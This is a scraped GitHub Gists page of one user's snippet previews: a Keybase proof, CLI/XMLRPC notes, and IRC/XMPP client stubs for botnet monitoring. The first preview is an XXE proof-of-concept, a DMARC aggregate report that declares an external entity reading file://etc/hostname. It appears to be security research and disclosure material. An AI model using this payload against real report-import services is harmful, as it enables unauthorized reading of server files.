Skip to content

Instantly share code, notes, and snippets.

@pjlantz
pjlantz / dmarc_report.xml
Created November 25, 2019 22:26
XXE during import of aggregated DMARC report
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://etc/hostname" >
]
>
<feedback>
<report_metadata>
<org_name>ngyn</org_name>
<email>abuse@163.com</email>
<report_id>&xxe;</report_id>
@pjlantz
pjlantz / test
Created May 2, 2018 08:58
testing some stuff
f
### Keybase proof
I hereby claim:
* I am pjlantz on github.
* I am patriktruesec (https://keybase.io/patriktruesec) on keybase.
* I have a public key ASD0ImJObH8spFMPTN7qpn4Tj0TmzfB9ZFcHnJNiubYX1wo
To claim this, I am signing this object:
@pjlantz
pjlantz / gist:4162280
Created November 28, 2012 16:17
CLI/XMLRPC commands
CLI XMLRPCServer/MonitorSpawner
====================== ======================================
create file JSONConf -> create remote settings file from 'JSONConf'
load id file -> read remote 'file' + start monitor with id 'id'
status -> list all remote filenames + monitoring status and id for each file
list file -> show settings of remote 'file'
delete file -> delete remote 'file'
stop/restart id -> start/restart monitor with id 'id'
@pjlantz
pjlantz / gist:4072936
Created November 14, 2012 15:56
non-blocking CLI
import select
from gevent.monkey import patch_all
patch_all(os=True, select=True)
def raw_input(message):
"""
Non-blocking raw_input from stdin.
"""
sys.stdout.write(message)
import socket, threading
from twisted.internet import defer, reactor
class IRC(object):
"""
Implementation of a irc client to do irc based
botnet monitoring
"""
def __init__(self):
import socket
from twisted.internet import defer, reactor
class IRC(object):
"""
Implementation of a irc client to do irc based
botnet monitoring
"""
def __init__(self, nick):
# Request answers from other sensors if someone is tracking this host
<iq type="get>
<trackReq id="1" xmlns="hale:trackReq">
<host>irc.freenode.net</host>
</trackReq>
</iq>
# Answer from a sensor if someone is tracking it
<iq type="result">
import sleekxmpp
def main() :
bot = GreetBot("echobot@pjlantz.com/HelloWorld", "mypass")
bot.run()
class GreetBot :
def __init__(self, jid, password) :
self.xmpp = sleekxmpp.ClientXMPP(jid, password)
@pjlantz
pjlantz / Dynamic module load
Created June 2, 2010 14:49
POC on dynamic module loading
# moduleManager.py
modules = {}
def register(module):
"""
Decorator to be used for registering a function belonging to a module that
handles the configuration for that module
"""
def registered_module(funct):
if module in modules: